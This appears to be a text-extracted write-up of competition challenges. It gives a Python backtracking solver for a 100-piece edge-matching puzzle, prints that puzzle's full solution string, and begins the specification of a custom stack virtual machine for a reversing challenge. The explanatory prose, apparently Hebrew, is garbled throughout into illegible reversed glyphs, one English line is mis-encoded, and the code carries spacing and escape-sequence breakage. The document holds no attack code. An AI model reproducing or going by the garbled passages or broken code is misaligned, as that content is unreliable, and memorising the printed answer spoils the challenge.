|  / 5  \   ||  / 6  \   ||  / 18 \   |  

------------------------------------  

------------------------------------  

|  \  5  /  ||  \  6  /  ||  \  18 /  |  

| 0 \   / 10|| 10 \   / 2 || 2 \   / 0 |  

|   /  \    ||   /  \    ||   /  \    |  

|  / 14 \   ||  / 9  \   ||  / 12 \   |  

------------------------------------  

------------------------------------  

|  \  14 /  ||  \  9  /  ||  \  12 /  |  

| 0 \   / 17|| 17 \   / 7 || 7 \   / 0 |  

|   /  \    ||   /  \    ||   /  \    |  

|  / 0  \   ||  / 0  \   ||  / 0  \   |  

---------------------------------- --  

Consider the top-left piece. In the string, it corresponds to '2,2', as we take cube number 2 from the input: 

2,[5, 0, 0, 19] 

But we rotate it clock-wise, twice, so we get [0,19,5,0]. 

 

Now consider the top-middle piece. In the string, it corresponds to '1,0'. That is, we take cube number 1 from the input: 

1,[0, 7, 6, 19] 

And we don't rotate it at all (that is, rotate it 0 times) - as it's already in the right direction. 

Got it? 

 

Help us solve the puzzle! 
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The puzzle we have is: 

0,[3, 19, 5, 15]; 1,[0, 17, 6, 11]; 2,[12, 15, 9, 5]; 3,[10, 2, 0, 7]; 4,[6, 8, 4, 0]; 5,[3, 1, 12, 17]; 6,[20, 16, 0, 0]; 7,[0, 1, 9, 0]; 8,[17, 16, 0, 8]; 

9,[18, 15, 15, 17]; 10,[4, 9, 8, 16]; 11,[0, 11, 17, 20]; 12,[5, 6, 5, 19]; 13,[10, 11, 1, 4]; 14,[16, 2, 3, 5]; 15,[9, 20, 10, 11]; 16,[11, 3, 13, 

3]; 17,[0, 2, 16, 2]; 18,[11, 18, 16, 5]; 19,[11, 20, 13, 15]; 20,[16, 18, 11, 1]; 21,[10, 8, 12, 3]; 22,[17, 18, 17, 18]; 23,[7, 17, 0, 17]; 

24,[20, 16, 18, 4]; 25,[2, 14, 4, 13]; 26,[1, 6, 7, 2]; 27,[18, 8, 6, 9]; 28,[6, 10, 12, 16]; 29,[2, 20, 11, 20]; 30,[1, 5, 12, 10]; 31,[2, 7, 10, 9]; 

32,[8, 17, 11, 12]; 33,[0, 11, 12, 20]; 34,[15, 2, 0, 3]; 35,[18, 10, 10, 8]; 36,[14, 6, 17, 9]; 37,[15, 7, 3, 8]; 38,[15, 3, 6, 0]; 39,[4, 11, 2, 

15]; 40,[0, 5, 1, 1]; 41,[14, 10, 15, 8]; 42,[3, 8, 18, 5]; 43,[8, 11, 0, 13]; 44,[3, 11, 13, 8]; 45,[17, 1, 4, 2]; 46,[2, 13, 2, 0]; 47,[20, 0, 16, 

18]; 48,[8, 13, 15, 17]; 49,[4, 13, 8, 8]; 50,[19, 20, 17, 5]; 51,[5, 19, 8, 1]; 52,[13, 17, 4, 5]; 53,[15, 0, 16, 8]; 54,[5, 4, 1, 2]; 55,[7, 11, 0, 

15]; 56,[9, 12, 4, 7]; 57,[12, 7, 8, 8]; 58,[2, 17, 12, 19]; 59,[1, 9, 3, 6]; 60,[12, 10, 8, 19]; 61,[4, 11, 11, 5]; 62,[0, 17, 17, 13]; 63,[0, 4, 12, 

8]; 64,[16, 20, 11, 4]; 65,[0, 18, 20, 15]; 66,[9, 6, 11, 8]; 67,[4, 5, 15, 18]; 68,[8, 7, 19, 11]; 69,[20, 11, 5, 0]; 70,[3, 0, 2, 8]; 71,[13, 11, 0, 

2]; 72,[0, 13, 5, 17]; 73,[13, 5, 0, 2]; 74,[2, 0, 17, 7]; 75,[7, 9, 16, 7]; 76,[11, 16, 8, 1]; 77,[18, 19, 12, 6]; 78,[2, 7, 20, 2]; 79,[9, 15, 19, 8]; 

80,[0, 11, 12, 15]; 81,[8, 20, 4, 18]; 82,[17, 0, 20, 13]; 83,[7, 18, 0, 4]; 84,[11, 10, 8, 8]; 85,[15, 17, 1, 15]; 86,[9, 8, 7, 12]; 87,[1, 13, 11, 

3]; 88,[3, 19, 11, 6]; 89,[20, 17, 0, 16]; 90,[5, 12, 17, 2]; 91,[12, 16, 0, 15]; 92,[18, 12, 8, 2]; 93,[13, 0, 0, 11]; 94,[18, 8, 4, 1]; 95,[7, 0, 5, 

4]; 96,[3, 11, 20, 14]; 97,[2, 10, 18, 10]; 98,[11, 4, 0, 9]; 99,[0, 0, 17, 17] 

 

Good luck! 

 ˸˴˵ ˞ˣˢ ˢˤˢ ˪˧ˠ˶˸˪ ˭ˣ˶˸˲ˢOverkill ˧˸ˣˮ˩˸ ˪˧ˠ˶˸ ˢ˧ˢ ˢˤ ˧˩ ˦ˣ˷˲ ,˫˧˵˪˥ˢ ˶ˣ˧˴˪ ˢ˵˧ˠˣ˪ ˪˪ˣ˩ ,

.ˡˬ˥ˮ 

 ˸ˣ˰˴ˬ˞˟ ˭ˣ˶˸˲ ˞˧ˢ ˸˧ˮˣ˶˵˰ˢ ˢ˷˧ˠˢBacktracking -  ˸˞ ˣ˞ ,˨ˣ˟ˬ ˫˧˶˸ˣ˲ ˪˪˩ ˨˶ˡ˟˷ ˣˬ˩ ˸˧˧˰˟8 

˸ˣ˩˪ˬˢ ˡ˰˴ˢ ˶ˣ˟˰ ˫˧ˬ˧˞˸ˬ ˫˧˵˪˥ ˭˧˞˷ ˢ˪ˠˮ ˫˞ .˥ˣ˪ˢ ˪˰ ˡ˥˞ ˫˧˞˸ˬ ˵˪˥ ˟˧˴ˢ˪ ˢ˯ˮˮ ,ˡ˰˴ ˪˩˟ .

 ˧˥˩ˣˮˢ-  ,ˢ˧˯˶ˣ˵˶ ˪˩˟ ˣˬ˩ .˶˥˞ ˫˧˞˸ˬ ˵˪˥ ˫˰ ˫ˡ˵˸ˢ˪ ˢ˯ˮˮˣ ,ˢ˟˴ˢˢ ˸˞ ˪˦˟ˮ ,ˢ˶ˣ˥˞ ˶ˣˤ˥ˮ

.˫˯˵ ˣˬ˩ ˸˴˵ ˷˧ˠ˶ˬ ˢˤ ˫˧ˬ˰˲˪ 

:˪ˤ˞˲ˢˬ ˡˡˣ˟ ˵˪˥˪ ˠˣ˴˧˧ ˶˴˧˧ˮ ,˸˧˷˞˶ 

UP    = 0 

RIGHT = 1 

DOWN  = 2 

LEFT  = 3 

 

class  Piece ( object ):  

    def  __init__ ( self ,  id ,  slices ):  

        self . used = False  

        self . id = id  

        self . slices = collections . deque ( slices )  

 

        self . rep_str = "_{}_{}_{}_{}_{}_" . format ( self . left ,  self . up,  self . right ,  

self . down,  self . left )  

 

        self . rotations = 0 

 

        self . is_border = False  

        self . is_corner = False  

        num_zeroes = self . slices . count ( 0)  

        if  num_zeroes == 1:  

            self . is_border = True  

        elif  num_zeroes == 2:  

            self . is_corner = True  

 

    def  rotate ( self ):  

        self . rotations += 1 

        self . slices . rotate ( 1)  

https://en.wikipedia.org/wiki/Backtracking
https://en.wikipedia.org/wiki/Eight_queens_puzzle
https://en.wikipedia.org/wiki/Eight_queens_puzzle
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    def  rotate_until_1 ( self ,  direction1 ,  value1 ):  

        while  self . slices [ direction1 ]  !=  value1 :  

            self . rotate ()  

 

    def  rotate_until_2 ( self ,  direction1 ,  value1 ,  direction2 ,  value2 ):  

        while  self . slices [ direction1 ]  !=  value1 or  self . slices [ direction2 ]  !=  

value2 :  

            self . rotate ()  

 

    @property  

    def  up( self ):  

        return  self . slices [ UP]  

 

    @property  

    def  right ( self ):  

        return  self . slices [ RIGHT]  

 

    @property  

    def  down( self ):  

        return  self . slices [ DOWN]  

 

    @property  

    def  left ( self ):  

        return  self . slices [ LEFT]  

 

    def  __repr__ ( self ):  

        return  "Piece({}, [{}])" . format ( self . id ,  list ( self . slices ))  

 

    def  __str__ ( self ):  

        ret =  " ------------ \ n"  

        ret += "|  \ \  {:02} /  | \ n" . format ( self . up)  

        ret += "| {:02} \ \   / {:02}| \ n" . format ( self . left ,  self . right )  

        ret += "|   /  \ \    | \ n"  

        ret += "|  / {:02} \ \   | \ n" . format ( self . down)  

        ret +=  " ------------ "  

        return  ret  

 

    def  __hash__ ( self ):  

        return  hash ( self . id )  

 

    def  __eq__ ( self ,  other ):  

        if  isinstance ( self ,  other . __class__ ):  

            return  self . id == other . id  

        return  False  

 ˧˞ˡ˩˷ ˸ˣˡˣ˵ˮ ˶˲˯ˬ ˷˧ ˪˟˞ ,˭˧˦ˣ˪˥˪ ˸˧˦˶ˡˮ˦˯ ˣˤˢ ˢ˵˪˥ˬˢ ˟ˣ˶:˭ˢ˧˪˰ ˟˩˰˸ˢ˪ 

1. ˫˧˵˪˥ ˟ˣ˟˧˯˪ ˸ˣˡˣ˸ˬ ˷ˣ˪˷ ˸ˣˬ˧˧˵: 

a. rotate - ˸˥˞ ˫˰˲ ˵˪˥ˢ ˸˞ ˸˟˟ˣ˯ˬ 

b. rotate_until_1 - ˭ˣ˸ˮ ˨˶˰ ˪˟˵ˬ ˫˧˧ˣ˯ˬ ˭ˣˣ˧˩˷ ˡ˰ ˵˪˥ ˸˟˟ˣ˯ˬ 

c.  - rotate_until_2  ˭˸ˮˢ˟ ,˪˷ˬ˪ .˫˧ˮˣ˸ˮ ˫˧˩˶˰ ˧ˮ˷ ˫˧˪˟˵ˬ ˫˧ˮˣˣ˧˩ ˧ˮ˷˷ ˡ˰ ˵˪˥ ˸˟˟ˣ˯ˬ

 ˵˪˥ˢ[18, 2, 12, 0]ˣ˸ˣ˞ ˟˟ˣ˯˪ ˭˸˧ˮ , ˢ˷ ˡ˰-12  ˸ˡˣ˸ˬ ˸ˣ˰˴ˬ˞˟ ˢ˪˰ˬ˪ ˰˧˲ˣ˧

rotate_until_1. 

2. .˫˧˯˲˞ˢ ˶˲˯ˬ ˧˲˪ ˧ˬ˧ˮ˲ ˵˪˥ ˣ˞ ˪ˣ˟ˠ ,ˢˮ˧˲ ˞ˣˢ ˫˞ ˰ˡˣ˧ ˵˪˥ ˪˩ 

3. :˸ˣˬˡ˟ ˵˪˥ ˪˩˪ ˧˟˧˦ˮ˶˦˪˞ ˠˣ˴˧˧ ˫˧˧˵  

self . rep_str = "_{}_{}_{}_{}_{}_" . format ( self . left ,  self . up,  self . right ,  

self . down,  self . left )  
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 ˢˤˢ ˠˣ˴˧˧ˢ˵˪˥ˢ ˫˞ ˵ˣˡ˟˪ ˧ˡ˩ ,˪˷ˬ˪ .˫˧˩ˣˬ˯ ˫˧˶˲˯ˬ ˧ˮ˷ ˫ˢ˪ ˷˧˷ ˫˧˵˪˥ ˷ˣ˲˧˥˪ ˪˧˰ˣˬ[18, 2, 12, 

0]  ˪˪ˣ˩18  ˡ˧˪0" ˷˲˥˪ ˶˷˲˞ ,_18_0_" ˠˣ˴˧˧˟ "_18_0_12_2_18_." 

˧˦˶ˡˮ˦˯ ˸˧˯˥˧ ˞ˣˢ ˫ˠˣ ,˥ˣ˪ ˪˷ ˠˣ˴˧˧ ˞ˣˢ ˞˟ˢ ˵˪˥ˢ: 

BLANK_PIECE = Piece ( - 1,  [ - 1,  - 1,  - 1,  - 1])  

 

class  Board ( object ):  

    def  __init__ ( self ,  rows ,  cols ):  

        self . rows = rows  

        self . cols = cols  

 

        self . pieces   = [[ BLANK_PIECE for  x in  range ( self . cols )]  for  y in  

range ( self . rows )]   

        self . corners = set ()  

        self . borders = set ()  

        self . inner   = set ()  

 

 

    def  Place_piece ( self ,  row ,  col ,  new_piece ):  

        self . pieces [ row ][ col ]  = new_piece  

                 

        if  new_piece . is_corner :  

            self . corners . add ( new_piece )  

        elif  new_piece . is_border :  

            self . borders . add ( new_piece )  

        else :  

            self . inner . add ( new_piece )  

     

    def  Print ( self ):  

        for  i in  range ( self . rows ):  

            for  j in  range ( self . cols ):  

                print  ( str ( self . pieces [ i ][ j ]))  

 

    def  Print_corners ( self ):  

        for  piece in  self . corners :  

            print  ( str ( piece ))  

 

    def  __str__ ( self ):  

        ret = ""  

        for  i in  range ( self . rows ):  

            ret += ( " ------------ "  *  self . cols )  + " \ n"  

            for  j in  range ( self . cols ):  

                ret += "|  \ \  {:02} /  |" . format ( self . pieces [ i ][ j ]. up)  

            ret += " \ n"  

            for  j in  range ( self . cols ):  

                 ret += "| {:02} \ \   / {:02}|" . format ( self . pieces [ i ][ j ]. left ,  

self . pieces [ i ][ j ]. right )  

            ret += " \ n"  

            ret += ( "|   /   \ \    |"  *  self . cols )  + " \ n"  

            for  j in  range ( self . cols ):  

                ret += "|  / {:02} \ \   |" . format ( self . pieces [ i ][ j ]. down)  

            ret += " \ n"  

            ret += ( " ------------ "  *  self . cols )  + " \ n"  

        return  ret  

 ,˵˪˥ ˟˧˴ˢ˪ ˶˷˲˞.˶˸ˣ˧ ˣ˞ ˸ˣ˥˲ ˣˢˤˣ ˥ˣ˪ˢ ˸˞ ˯˧˲ˡˢ˪  ˣ˟˷ ˫˧˵˪˥ˢ ˸˞ ˭˧˧ˬˬ ˥ˣ˪ˢ˷ ˭˧˧˴˪ ˧˞ˡ˩

.ˢ˴˧˶ ˭ˬˤ˟ ˶˸ˣ˧ ˢ˥ˣˮ ˢ˷˧ˠ ˨˶ˣ˴˪ ,˫˧˧ˬ˧ˮ˲ ˫˧˵˪˥ˣ ˸ˣ˪ˣ˟ˠ ,˸ˣˮ˧˲˪ 
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 ˥ˣ˪ˢ ˪˰ ˟˴ˣ˸˷ ˢˮˣ˷˞˶ˢ ˢˮ˧˲ˢ ˶ˣ˸˟ ˷ˬ˷˪ ˶˸ˣ˧˟ ˫˧˞˸ˬˢ ˵˪˥ˢ ˸˞ ˞ˣ˴ˬ˪ ˢ˯ˮˬ ˶ˤ˰ ˸˧˧˴˵ˮˣ˲ ˡˣ˰

 ˪˧˥˸ˬ ˞ˣˢ˷ ˨˩ ˧ˣˮ˟ ˫˸˧˶ˣˠ˪˞ˢ):(ˢˮˣ˧˪˰ˢ ˸˧˪˞ˬ˷ˢ ˢˮ˧˲ˢˬ ˫˧˵˪˥ ˟˧˴ˢ˪ 

def  find_best_corner ( board ):  

    for  corner in  board . corners :  

        corner . rotate_until_2 ( LEFT,  0,  UP,  0)  

    for  border in  board . borders :  

        border . rotate_until_1 ( UP,  0)  

 

    candidates = collections . defaultdict ( int )  

    for  corner in  board . corners :  

        for  border in  board . borders :  

            if  border . left == corner . right :  

                candidates [ corner ]  += 1 

    #print (candidates)  

    return  min ( candidates ,  key =candidates . get )  

 ˢˮ˧˲ˢ ˸˞ ˸˷˲˥ˬ ˢ˧˴˵ˮˣ˲ˢ .ˢˮ˧˲ˢ ˡ˧˪ ˢ˟˴ˢ˪ ˫˧ˬ˧˞˸ˬ˷ ˪ˣ˟ˠ˪ ˫˧ˡˬ˰ˣˬ ˦˰ˬ ˧˩ˢ ˢ˶ˣ˟˰ ˷˧˷

.˸˴˵ ˶ˣˤ˰˪ ˧ˣ˷˰ ˪˟˞ (˸ˣˮ˧˲ˢ ˪˩ ˸˞ ˸ˣ˯ˮ˪ ˦ˣ˷˲ ˶˷˲˞) ˧˥˶˩ˢ ˞˪ ˢˤˢ ˟˪˷ˢ 

 ˧ˡ˧ ˪˰ ˭ˣ˶˸˲ˢ ˸˞˧˴ˬ˪ ˸˷ˬ˷ˬ ˢ˞˟ˢ ˢ˵˪˥ˬˢBacktracking: 

class  BoardManager ( object ):  

    def  __init__ ( self ,  board ,  solution ):  

        self . board = board  

        self . solution = solution  

        self . num_pieces = self . board . rows *  self . board . cols  

        self . num_placed_pieces = 0 

 

        self . pool = [ self . board . inner ,  self . board . borders ,  self . board . corners ]  

 

    def  place_sol ( self ,  row ,  col ,  piece ):  

        piece . used = True  

        self . solution . Place_piece ( row ,  col ,  piece )  

        if  piece . is_corner :  

            self . board . corners . remove ( piece )  

        elif  piece . is_border :  

            self . board . borders . remove ( piece )  

        else :  

            self . board . inner . remove ( piece )  

 

    def  remove_sol ( self ,  row ,  col ):  

        piece = self . solution . pieces [ row ][ col ]  

        piece . used = False  

        self . solution . Place_piece ( row ,  col ,  BLANK_PIECE)  

        if  piece . is_corner :  

            self . board . corners . add ( piece )  

        elif  piece . is_border :  

            self . board . borders . add ( piece )  

        else :  

            self . board . inner . add ( piece )  

 

    def  get_candidates ( self ,  row ,  col ):  

        expected_up = 0 if  row == 0 else  self . solution . pieces [ row - 1][ col ]. down 

        expected_left = 0 if  col == 0 else  self . solution . pieces [ row ][ col -

1]. right  

        expected_right = 0 if  col == self . solution . cols -  1 else  - 1 

        expected_down = 0 if  row == self . solution . rows -  1 else  - 1 

 

        pool = self . pool [[ expected_up ,  expected_left ,  expected_right ,  

expected_down ]. count ( 0)]  

        filter_str = "_{}_{}_" . format ( expected_left ,  expected_up )  

        candidates = list ( filter ( lambda  x:  filter_str in  x. rep_str ,  pool ))  
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        return  ( candidates ,  expected_left ,  expected_up )  

 

 

    def  get_next_coord ( self ,  row ,  col ):  

        col += 1 

        if  col == self . solution . cols :  

            row += 1 

            col = 0 

        if  row == self . solution . rows :  

            return  ( - 1,  - 1)  

        else :  

            return  ( row ,  col )  

 

    def  place_one_peice ( self ,  row ,  col ):  

        if  row == - 1 and  col == - 1:  

            print ( str ( self . solution ))  

            return  True  

 

 

        ( candidates ,  expected_left ,  expected_up )  = self . get_candidates ( row ,  col )  

        if  len ( candidates )  == 0:  

            return  False  

 

        res = False  

        for  candidate in  candidates :  

            candidate . rotate_until_2 ( LEFT,  expected_left ,  UP,  expected_up )  

            self . place_sol ( row ,  col ,  candidate )  

            res = self . place_one_peice (* self . get_next_coord ( row ,  col ))  

            if  res :  

                return  True  

            self . remove_sol ( row ,  col )  

         

        return  False  

 ˸ˡˣ˸ˬplace_sol  ˸ˡˣ˸ˬ .˭ˣ˶˸˲ˢ ˥ˣ˪ ˪˰ ˣ˸ˣ˞ ˢ˥˧ˮˬˣ ˶ˠ˞ˬˢˬ ˵˪˥ ˢ˞˧˴ˣˬremove_sol  ˵˪˥ ˢ˶˧˯ˬ

.˫˧˵˪˥ˢ ˶ˠ˞ˬ˪ ˣ˸ˣ˞ ˢ˶˧ˤ˥ˬˣ ˭ˣ˶˸˲ˢ ˥ˣ˪ˬ 

 ˸ˡˣ˸ˬget_candidates  ˫˧ˬ˧˧˵ ˢˤ ˫ˣ˵˧ˬ˪ ˫˧ˬ˧˞˸ˬˢ ˫˧ˡˬ˰ˣˬ ˣ˪˧˞ ˸˵ˡˣ˟ˣ ,˥ˣ˪ˢ ˪˰ ˫ˣ˵˧ˬ ˸˪˟˵ˬ

 ˫˧˞˸˧ ˫ˢ˪˷ ˭ˣ˧˪˰ˢ ˶˲˯ˬˢ˷ ˨˩ ˫˸ˣ˞ ˶ˡ˯˪ ˶˷˲˞˷ ˫˧˵˪˥ ˵˶ ˶˧ˤ˥˸ ˢˡˣ˸ˬˢ .˫˧˵˪˥ˢ ˶ˠ˞ˬ˟

˷ˢ ˶˲˯ˬˢˣ ,˫ˢ˧˪˰ˬ ˵˪˥ˢ ˪˷ ˭ˣ˸˥˸ˢ ˶˲˯ˬ˪.˪˞ˬ˷ˬ ˵˪˥ˢ ˪˷ ˧ˮˬ˧ˢ ˶˲˯ˬ˪ ˫˧˞˸˧ ˫ˢ˪˷ ˧˪˞ˬ 

 ˸ˡˣ˸ˬget_next_coord  ˥ˣ˪ˢ ˪˰ ˶˟˰ˬ˪ ˶ˤ˰ ˸ˡˣ˸ˬ ˞˧ˢ-  ˞˟ˢ ˫ˣ˵˧ˬˢ ˸˞ ˢ˶˧ˤ˥ˬˣ ˫ˣ˵˧ˬ ˪˟˵ˬ ˞˧ˢ

ˣˡ ˞ˣˢ ˥ˣ˪ˢ˷ ˭ˣˣ˧˩ˬ) ˵˪˥ ˟˧˴ˢ˪ ˷˧ ˣ˟˷-.(˸ˣ˶ˣ˷ ˭˧˟ ˶˟˰ˬ˪ ˶ˤ˰ ˸ˡˣ˸ˬ ˢ˧ˢ˸˷ ˥ˣˮ ,˧ˡˬ˧ˬ 

 ˸ˡˣ˸ˬ ,˱ˣ˯˟˪place_one_piece ˢ ˸˞ ˸˰˴˟ˬ˷ ˸˧˟˧˯˶ˣ˵˶ˢ ˢˡˣ˸ˬˢ ˞˧ˢ-Backtracking ˢ˯ˮˬ ˞˧ˢ :

ˬ ˢ˪˟˧˵ ˞˧ˢ˷ ˫˧ˡˬ˰ˣˬˢ ˸ˣ˰˴ˬ˞˟) ˥ˣ˪ˢ ˪˰ ˡ˥˞ ˫˧˞˸ˬ ˵˪˥ ˟˧˴ˢ˪-get_candidates ˢ˩˧˷ˬˬ ˤ˞ˣ (

 ˞˧ˢ ,˪˷˩ˮ ˭ˣ˧˯˧ˮˢ˷ (ˢˬ˴˰ ˪˷ ˸˧˟˧˯˶ˣ˵˶ ˢ˞˧˶˵ˬ) ˢ˟ˣ˷˸ ˸˪˟˵ˬ ˞˧ˢ ˫˞ .˥ˣ˪˟ ˞˟ˢ ˫ˣ˵˧ˬˢ ˪˞

˰˩ ˢ˟˧˴ˢ ˞˧ˢ˷ ˵˪˥ˢ ˸˞ ˢ˶˧˯ˬ ˟˧˴ˢ˪ ˷˧˷ ˞˟ˢ ˵˪˥ˢ ˫˞ ˞ˣˢ ˢ˶˧˴˰ˢ ˧˞ˮ˸ .˶˥˞ ˡˬ˰ˣˬ ˢ˯ˮˬˣ ˸

."˸ˣ˪˲˵˸ˬ" ˸ˣ˞˧˶˵ˢ ˪˩ˣ ˢ˥˧˪˴ˢ ˢ˟˴ˢˢ˷ "ˢ˶ˣ˥˞ ˫˧˥ˣˣˡˬ" ,ˢˤ˩ ˢ˶˵ˬ˟ .˥ˣ˪˪ ˳ˣ˥ˬ ˞˴ˬˮ 
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:˞˟ˢ ˡˣ˵˟ ˨˶ˣ˴ ˷˧ ,˨˧˪ˢ˸ˢ ˸˞ ˰˧ˮ˸ˢ˪ ˸ˮˬ ˪˰ 

if  __name__ == "__main__" :  

    with  open ( 'puzzle.txt' , 'r' )  as  f :  

        input = f . read ()  

        total_pieces = input . count ( ";" )  + 1 

        rows = int ( math . sqrt ( total_pieces ))  

        cols = rows  

        print  ( "Matrix of {} rows, {} cols" . format ( rows ,  cols ))  

        b = Board ( rows ,  cols )  

        match_iter = re . finditer ( r"( \ d+), \ [( \ d+), ( \ d+), ( \ d+), ( \ d+) \ ];? \ s*" ,  

input )  

        for  i in  range ( rows ):  

            for  j in  range ( cols ):  

                new_input = next ( match_iter )  

                new_piece = Piece ( int ( new_input . group ( 1)),   

                                [ int ( x)  for  x in  new_input . groups ()[ 1:]])  

                b. Place_piece ( i ,  j ,  new_piece )  

 

        print ( str ( b))  

 

        print  ( " - =- =- =- =- ="  *  3)  

 

        s = Board ( rows ,  cols )  

 

        bm = BoardManager ( b,  s)  

 

 

        # Top Left corner  

        first_corner = find_best_corner ( b)  

        first_corner . rotate_until_2 ( LEFT,  0,  UP,  0)  

        bm. place_sol ( 0,  0,  first_corner )  

 

        sol_arr = []  

        if  ( bm. place_one_peice ( 0,  1)):  

            # Found solution, build representation:  

            for  row in  range ( bm. solution . rows ):  

                for  col in  range ( bm. solution . cols ):  

                    piece = bm. solution . pieces [ row ][ col ]  

                    sol_arr . append ( "{},{}" . format ( piece . id ,  piece . rotations % 

4))  

         

        print  ( "; " . join ( sol_arr ))  

˸˧˪˞ˬ˷ˢ ˢˮ˧˲˪ ˪˧˟ˣˬ ˡˬ˰ˣˬ ˞˴ˣˬ ,˸ˣ˥ˣ˪ˢ ˸˞ ˢˮˣ˟ ˡˣ˵ˢ- ˸˧˟˧˯˶ˣ˵˶ˢ ˢˡˣ˸ˬ˪ ˞˶ˣ˵ ˤ˞ˣ ˢˮˣ˧˪˰

.˨˧˪ˢ˸ˢ ˨˷ˬˢ˪ .˨˯ˬ˪ ˣ˸ˣ˞ ˯˧˲ˡˬˣ ˫˧˞˸ˬˢ ˠˣ˴˧˧ˢ ˸˞ ˢˮˣ˟ ˡˣ˵ˢ ,ˢ˞˴ˣ˸ ˢ˞˴ˬˮˣ ˢˡ˧ˬ˟ 
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:˧˶ˣ˵ˬˢ ˥ˣ˪ˢ 
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:˭ˣ˶˸˲ˢ 

 

:ˠˣ˴˧˧ˢ 

7, 0;  40, 0;  73, 2;  3, 2;  95, 3;  69, 1;  33, 0;  55, 2;  53, 3;  6, 2;  98, 1;  13, 2;  25, 1;  97, 3;  

67, 0;  18, 0;  92, 3;  86, 2;  32, 0;  11, 1;  83, 1;  31, 2;  36, 0;  28, 3;  2, 3;  75, 2;  26, 1;  

59, 3;  44, 3;  71, 3;  65, 3;  29, 0;  50, 2;  14, 0;  54, 0;  56, 1;  66, 3;  88, 1;  37, 1;  34, 3;  

38, 0;  16, 0;  0, 3;  42, 0;  51, 1;  30, 2;  35, 1;  77, 3;  57, 3;  70, 0;  4, 0;  48, 3;  85, 0;  9, 0;  

79, 2;  76, 1;  84, 3;  27, 2;  10, 2;  17, 1;  63, 3;  5, 1;  87, 0;  19, 1;  15, 0;  24, 3;  94, 3;  

81, 1;  49, 0;  46, 2;  8, 1;  45, 3;  61, 3;  96, 2;  41, 3;  39, 0;  20, 1;  64, 3;  68, 0;  74, 0;  

89, 1;  78, 1;  90, 0;  21, 1;  60, 2;  58, 0;  22, 1;  52, 2;  12, 1;  72, 1;  99, 2;  23, 0;  62, 2;  

43, 0;  80, 2;  91, 0;  47, 1;  82, 1;  1, 2;  93, 0 
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˶ˠ˸˞ 10: Simple Machine 2 )˸˧˧˶ˣˠ˦˵ Reversing ,85 ˸ˣˡˣ˵ˮ( 

:˶ˠ˸˞ˢ ˶ˣ˞˧˸ 

A Simple Machine 
What is this? 
You stand before assembly code for a custom Virtual Machine. You will find the flag once you understand the code. 
9ǾŜǊȅǘƘƛƴƎ ȅƻǳ ƴŜŜŘ ǘƻ ƪƴƻǿ ƛǎ ŘŜǎŎǊƛōŜŘ ōŜƭƻǿΦ 5ƻƴΩǘ ŦƻǊƎŜǘ ǘƻ ŎƘŜŎƪ ƻǳ ǘƘŜ ŜȄŀƳǇƭŜ ŎƻŘŜΗ 
Get the machine code Here 
 
Top level description 
The machine is stack based, which means most operations pop data off the top of the stack and push the result. for 
further reference, https://en.wikipedia.org/wiki/Stack_machine#Advantages_of_stack_machine_instruction_sets 
The machine state is defined by an Instruction Pointer, and a Stack data structure. The next instruction to be executed 
is pointed to by IP, and it generally reads/write values from/to the top of the stack. Every opcode is exactly 1 byte in 
size. The program is read and executed sequentially starting at offset 0 in the file. Execution stops if an invalid stack 
address is referenced or the IP is out of code bounds. 
 
Instruction Set 
Important! 
IP is incremented as the instruction is read (before decode/execute). This increment is not mentioned in the 
instruction pseudo-code. Therefore, every instruction that adds an offset to IP will result in IP = IP + offset + 1. 
An instruction that resets IP as IP = new_value discards the increment. 
 
Instruction Pseudo Code Notations 
stack.push([value]) - pushes the value to the stack 
stack.pop() - dequeue the last value pushed to the stack . 
a = stack.pop() - dequeue the last value pushed to the stack, save value to pseudo-variable ΨŀΩΦ 
stack.empty() - true if there are no more values on the stack, false otherwise 
stack[N] - the value of the Nth element on the stack 
IP - the instruction pointer. 
 
Stack Instructions: 
Push <value> 

¶ opcode is 0x80 + value 

¶ Pushes the value to the stack, stack[0] is now , stack[1] is now the previous stack[0] value, and so on. 

¶ value <= 0x7f 

¶ Push 0x32 is encoded as 0xB2. 
stack.push(value) 

 
Load <offset> 

¶ opcode is 0x40 + offset 

¶ Pushes the value at stack[offset] to the stack. 

¶ value <= 0x3f 

¶ Load 0x12 is encoded as 0x52. 

¶ Loading from an offset out of bounds (i.e pushing 10 values and loading from offset 12) will cause a fault and 
execution will terminate. 

stack.push(stack[offset]) 

 
Pop 

¶ opcode 0x20 

¶ Same encoding as Swap 0 

¶ Swap 0 is an empty statement, thus this opcode pops a value from the stack without doing anything with it. 
stack.pop() 

 
Swap <index> 

¶ opcode is 0x20 + index 

¶ Swaps the element at HEAD with the element at index. 

¶ 1 <= index < 0x20. 

https://s3.eu-central-1.amazonaws.com/csh-static/simple_machine/9bebea9d2aa398264a8e8e42fe67c4ed61880324048ffed5907fe5d5ce6a7bfb.zip
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¶ Swap 3 is encoded as 0x23. 
temp = stack[index] 
stack[index] = stack.pop() 
stack.push(temp) 

 
Arithmetic instructions 
These instructions read 2 values off the stack and push the result. ### Single outupt instructions: 
Add 

¶ opcode is 0x00. 

¶ operands are viewed as signed bytes 
stack.push(stack.pop() + stack.pop()) 

 
Subtract 

¶ opcode is 0x01. 

¶ operands are viewed as signed bytes 
stack.push(stack.pop() - stack.pop()) 

 
Multiply 

¶ opcode is 0x03. 

¶ operands are viewed as signed bytes 
stack.push(stack.pop() * stack.pop()) 

 
2-byte output 
Divide 

¶ opcode is 0x02. 

¶ division reminder is at HEAD, division result follows 

¶ operands are viewed as unsigned bytes 
a = stack.pop() 
b = stack.pop() 
stack.push(a / b) 
stack.push(a % b) 

 
 
Flow Control Instructions: 
These instructions change the Instruction Pointer and allow for loops, function calls, etc. 
Jump 

¶ opcode is 0x10. Jumps to offset stack[0]. 

¶ offset is signed! Jumping to a negative offset is a jump backwards. 

¶ Pops an offset from the stack, adds it to IP. 
IP = IP + stack.pop() 

 
Call 

¶ opcode is 0x11. Jumps to stack[0], saves origin. 

¶ same as Jump, only IP before execution is pushed. 

¶ offset is signed! Calling to a negative offset is a jump backwards. 
offset = stack.pop() 
stack.push(IP) ; note that IP was already incremented here, points to next instruction. 
IP = IP + offset 

 
Ret 

¶ opcode is 0x12. Pops value from the stack, moves IP to the popped value. 
IP = stack.pop() 

 
CJE 

¶ opcode is 0x14. Jumps to stack[0] if stack[1] == stack[2]. pops all values either way. 

¶ offset is signed! Jumping to a negative offset is a jump backwards. 
offset = stack.pop() 
if stack.pop() == stack.pop(): 
    IP = IP + offset 
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JSE 

¶ opcode is 0x18. Adds stack[0] to IP if it is the last value on the stack. 
offset = stack.pop() 
if stack.empty(): 
    IP = IP + offset 

 
Input Output Instructions: 
These instructions either output an ASCII byte or read an ASCII byte from the input/output device. 
Read 

¶ opcode is 0x08 

